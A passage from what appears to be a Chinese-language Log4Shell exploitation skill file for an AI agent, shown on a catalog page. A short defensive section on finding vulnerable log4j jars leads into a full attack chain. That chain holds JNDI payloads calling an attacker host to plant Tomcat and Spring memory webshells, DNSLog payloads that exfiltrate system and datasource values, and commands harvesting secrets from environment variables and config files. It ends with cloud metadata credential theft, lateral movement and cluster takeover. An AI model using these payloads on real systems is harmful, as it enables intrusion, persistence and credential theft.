for f in $(find / -name "*.jar"); do unzip -l "$f" 2>/dev/null | grep -q "log4j-core" && echo "$f"; done

# 二进制 class 特征检测(针对 shaded/uber jar)
# log4j-detector 工具
java -jar log4j-detector.jar --paths /path/to/app

# 容器镜像排查
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock aquasec/trivy image <image> --severity CRITICAL

9.3 厂商产品与云原生排查

- 厂商安全公告矩阵(VMware/Cisco/Fortinet/IBM 等均有 log4j 公告页面)
- 云服务:托管中间件/大数据组件(ES/Kafka/Spark/Flink)的控制面与数据面
- SBOM 建设:对产线依赖生成 SBOM,CVE 爆发时 10 分钟内完成影响面盘点
- 运行时检测:RASP/EDR 监测 JndiLookup 类加载与出站 1389/1099 连接

9.4 排查方法优先级

1. 仓库依赖清单(pom.xml/build.gradle/package 锁文件)→ 直接命中
2. 运行产物扫描(jar/fat-jar/镜像层)→ 兜底
3. 运行时动态验证(DNSLog 探测真实环境)→ 确认是否可利用
4. 攻击面收口:无法确认的组件按最坏情况处理(视为存在漏洞)

十、Log4Shell→RCE→内网渗透完整链

10.1 攻击链全景

侦察(指纹/版本/JDK)→ 探测(DNSLog 确认注入点)→ 利用(JNDI 链选择)
→ 验证 RCE(回显/DNS/时间)→ 权限提升 → 持久化(内存马)
→ 信息收集 → 凭据提取 → 横向移动 → 域渗透/云利用 → 痕迹清理

10.2 权限提升

# Log4Shell RCE 通常为应用服务权限,提权思路:
1. 内核漏洞(脏牛/OverlayFS 等,注意目标 OS 版本)
2. SUID 滥用 / sudo 配置错误
3. 容器逃逸:privileged 容器 → host 文件系统挂载
4. 云实例元数据服务(169.254.169.254)→ IAM 提权/横向
5. 应用内提权:配置文件中的高权限账号(DB/Redis/Admin)

10.3 持久化(内存马)

# 内存马优势:无文件落地、随进程存活、重启失效需重打
${jndi:ldap://attacker:1389/TomcatMemShell1}    # Tomcat Filter 内存马
${jndi:ldap://attacker:1389/TomcatMemShell2}    # Tomcat Servlet 内存马
${jndi:ldap://attacker:1389/SpringMemShell}     # Spring Controller 内存马

# 自定义路径与密钥(隐蔽访问)
${jndi:ldap://attacker:1389/TomcatMemShell1?path=/api/v1/health&pass=key123}
# 访问:GET /api/v1/health?pass=key123&cmd=whoami

# 工具配套:冰蝎/哥斯拉(加密流量)、Suo5(高性能隧道)
# 备选:WebShell 落盘(Web 目录可写时)、计划任务/服务(系统权限时)

10.4 信息收集与凭据提取

# 系统信息(Lookup 外带 + RCE 命令)
${jndi:ldap://${sys:os.name}.${sys:os.arch}.${sys:user.name}.dnslog.cn}
id; uname -a; hostname; ip addr

# 应用信息
${jndi:ldap://${spring:spring.datasource.url}.dnslog.cn}
env | grep -iE 'pass|key|token|secret'
find / -name "*.properties" -o -name "*.yml" 2>/dev/null | xargs grep -il "password"

# 凭据提取重点
1. 配置文件(datasource/redis/mq/ldap 口令)
2. 环境变量(云厂商 AK/SK、JWT、API Key)
3. 内存(Tomcat/Spring 内存口令、连接池凭据)
4. 密钥管理服务(Vault/KMS/云 Secrets Manager)
5. 浏览器/客户端存储(若涉终端)

10.5 横向移动

1. 内网扫描:nmap/masscan 经代理(frp/nps/Suo5 隧道)
2. 复用 Log4Shell:内网其他 Java 系统批量探测(Log4j 常扎堆出现)
3. 组合漏洞:Redis 未授权/SMB/MySQL 弱口令/Spring Actuator
4. 域渗透:BloodHound 枚举 → Kerberoast/AS-REP → 提权至域管
5. 数据与关键资产:数据库/备份/核心业务系统

10.6 云环境利用

# 拿到 Pod/VM 权限后:
1. 元数据服务:curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
   # AWS/Aliyun/Tencent 均存在,注意 IMDSv2 需 token
2. 云厂商 API 利用 AK/SK(OSS 列举、实例接管、RDS 导出)
3. K8s 场景:serviceaccount token → kubelet/APIServer 提权 → 集群接管
4. 容器逃逸 + 宿主机制服 → 云账户横向

Shortened here. Read the whole file on GitHub.

Signals

GitHub stars
115
Forks
4
Last commit
Sep 2026
Advanced
Catalog kind
skill
Gateway key
log4shell-exploitation
Source
github.com/langbyyi/cyberstrikeai-src